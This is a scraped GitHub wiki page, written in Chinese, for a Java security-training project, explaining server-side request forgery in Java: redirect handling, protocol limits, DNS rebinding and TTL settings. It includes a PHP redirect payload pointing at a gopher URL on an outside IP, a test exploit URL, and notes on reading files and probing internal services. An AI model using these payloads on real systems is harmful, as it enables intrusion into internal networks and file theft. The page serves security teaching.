CARVIEW |
Select Language
HTTP/2 200
date: Thu, 31 Jul 2025 00:03:25 GMT
content-type: text/html; charset=utf-8
vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, X-Requested-With,Accept-Encoding, Accept, X-Requested-With
etag: W/"1a9ddf406cfbc8729809cb7184767924"
cache-control: max-age=0, private, must-revalidate
strict-transport-security: max-age=31536000; includeSubdomains; preload
x-frame-options: deny
x-content-type-options: nosniff
x-xss-protection: 0
referrer-policy: no-referrer-when-downgrade
content-security-policy: default-src 'none'; base-uri 'self'; child-src github.githubassets.com github.com/assets-cdn/worker/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com *.rel.tunnels.api.visualstudio.com wss://*.rel.tunnels.api.visualstudio.com objects-origin.githubusercontent.com copilot-proxy.githubusercontent.com proxy.individual.githubcopilot.com proxy.business.githubcopilot.com proxy.enterprise.githubcopilot.com *.actions.githubusercontent.com wss://*.actions.githubusercontent.com productionresultssa0.blob.core.windows.net/ productionresultssa1.blob.core.windows.net/ productionresultssa2.blob.core.windows.net/ productionresultssa3.blob.core.windows.net/ productionresultssa4.blob.core.windows.net/ productionresultssa5.blob.core.windows.net/ productionresultssa6.blob.core.windows.net/ productionresultssa7.blob.core.windows.net/ productionresultssa8.blob.core.windows.net/ productionresultssa9.blob.core.windows.net/ productionresultssa10.blob.core.windows.net/ productionresultssa11.blob.core.windows.net/ productionresultssa12.blob.core.windows.net/ productionresultssa13.blob.core.windows.net/ productionresultssa14.blob.core.windows.net/ productionresultssa15.blob.core.windows.net/ productionresultssa16.blob.core.windows.net/ productionresultssa17.blob.core.windows.net/ productionresultssa18.blob.core.windows.net/ productionresultssa19.blob.core.windows.net/ github-production-repository-image-32fea6.s3.amazonaws.com github-production-release-asset-2e65be.s3.amazonaws.com insights.github.com wss://alive.github.com wss://alive-staging.github.com api.githubcopilot.com api.individual.githubcopilot.com api.business.githubcopilot.com api.enterprise.githubcopilot.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com copilot-workspace.githubnext.com objects-origin.githubusercontent.com; frame-ancestors 'none'; frame-src viewscreen.githubusercontent.com notebooks.githubusercontent.com; img-src 'self' data: blob: github.githubassets.com media.githubusercontent.com camo.githubusercontent.com identicons.github.com avatars.githubusercontent.com private-avatars.githubusercontent.com github-cloud.s3.amazonaws.com objects.githubusercontent.com release-assets.githubusercontent.com secured-user-images.githubusercontent.com/ user-images.githubusercontent.com/ private-user-images.githubusercontent.com opengraph.githubassets.com copilotprodattachments.blob.core.windows.net/github-production-copilot-attachments/ github-production-user-asset-6210df.s3.amazonaws.com customer-stories-feed.github.com spotlights-feed.github.com objects-origin.githubusercontent.com *.githubusercontent.com; manifest-src 'self'; media-src github.com user-images.githubusercontent.com/ secured-user-images.githubusercontent.com/ private-user-images.githubusercontent.com github-production-user-asset-6210df.s3.amazonaws.com gist.github.com; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com; upgrade-insecure-requests; worker-src github.githubassets.com github.com/assets-cdn/worker/ github.com/assets/ gist.github.com/assets-cdn/worker/
server: github.com
content-encoding: gzip
accept-ranges: bytes
set-cookie: _gh_sess=B5dmeW32f67OAhLCRkrOqTNfoNbEY8MxfkFlGyuh55Jw%2F8NDzi5ThRblfsKjofxGi4pfLogKP2oxW%2FtPtmOCRpUx1Q47ukd9iryoOrxcgyGAFsvWceY33sYp4g4tDvbW9QSuTflCsOY27xurpenxiux4%2FWcgG2WA7fdJVJVoWXmzJRld6HGsIasNY4iNRFXxmwB58RF1OqJXzlnIXsTJ6U4X4RVXzt6B6ept1Z68Gfl%2B4%2FotyPssued4V%2BMsLmbiPXObaMfVyC3ahaLYttKJTg%3D%3D--oT%2BSGzIyMdLyZj2Z--1GNq%2FJqf6%2FQL69%2FP1av2pQ%3D%3D; Path=/; HttpOnly; Secure; SameSite=Lax
set-cookie: _octo=GH1.1.1681882129.1753920204; Path=/; Domain=github.com; Expires=Fri, 31 Jul 2026 00:03:24 GMT; Secure; SameSite=Lax
set-cookie: logged_in=no; Path=/; Domain=github.com; Expires=Fri, 31 Jul 2026 00:03:24 GMT; HttpOnly; Secure; SameSite=Lax
x-github-request-id: EB44:144580:DE881:14E9F3:688AB2CC
SSRF · JoyChou93/java-sec-code Wiki · GitHub
Skip to content
Navigation Menu
{{ message }}
-
Notifications
You must be signed in to change notification settings - Fork 697
SSRF
JoyChou edited this page Jun 27, 2019
·
5 revisions
SSRF(Server-side Request Forge, 服务端请求伪造)。 由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务。
file ftp mailto http https jar netdoc
如果发起网络请求的类是带HTTP开头,那只支持HTTP、HTTPS协议。
Java默认会跟随重定向。先在一台vps上写一个302.php,代码如下:
<?php
$url = 'gopher://35.185.163.134:2333/_joy%0achou';
header("location: $url");
?>
访问payload
https://localhost:8080/urlConnection?url=https://joychou.me/302.php
收到异常:
java.net.MalformedURLException: unknown protocol: gopher
跟踪报错代码:
private boolean followRedirect() throws IOException {
if(!this.getInstanceFollowRedirects()) {
return false;
} else {
final int var1 = this.getResponseCode();
if(var1 >= 300 && var1 <= 307 && var1 != 306 && var1 != 304) {
final String var2 = this.getHeaderField("Location");
if(var2 == null) {
return false;
} else {
URL var3;
try {
// 该行代码发生异常,var2变量值为`gopher://35.185.163.134:2333/_joy%0achou`
var3 = new URL(var2);
/* 该行代码,表示传入的协议必须和重定向的协议一致
* 即https://joychou.me/302.php的协议必须和gopher://35.185.163.134:2333/_joy%0achou一致
*/
if(!this.url.getProtocol().equalsIgnoreCase(var3.getProtocol())) {
return false;
}
} catch (MalformedURLException var8) {
var3 = new URL(this.url, var2);
}
从上面的followRedirect方法可以看到:
- 实际跳转的URL也在限制的协议内
- 传入的URL协议必须和重定向后的URL协议一致。如果不一致,相当于没有进行重定向,返回空页面。
所以,Java的SSRF利用方式比较局限:
- 利用file协议任意文件读取
- 利用http协议探测端口或攻击内网服务
先了解下Java应用的TTL机制。Java应用的默认TTL为10s,这个默认配置会导致DNS Rebinding绕过失败。也就是说,默认情况下,Java应用不受DNS Rebinding影响。
Java TTL的值可以通过下面三种方式进行修改:
-
JVM添加启动参数
-Dsun.net.inetaddr.ttl=0
-
通过代码进行修改
java.security.Security.setProperty("networkaddress.cache.negative.ttl" , "0");
-
修改
java.security
里的networkaddress.cache.negative.ttl
变量为0
- Java默认跟随重定向;
- Java默认TTL为10;
- 是否受DNS Rebinding影响取决于缓存;
- 如果发起网络请求的类是带HTTP开头,那只支持HTTP、HTTPS协议。
- 传入的URL协议必须和重定向后的URL协议一致。如果不一致,相当于没有进行重定向,返回空页面。
Clone this wiki locally
You can’t perform that action at this time.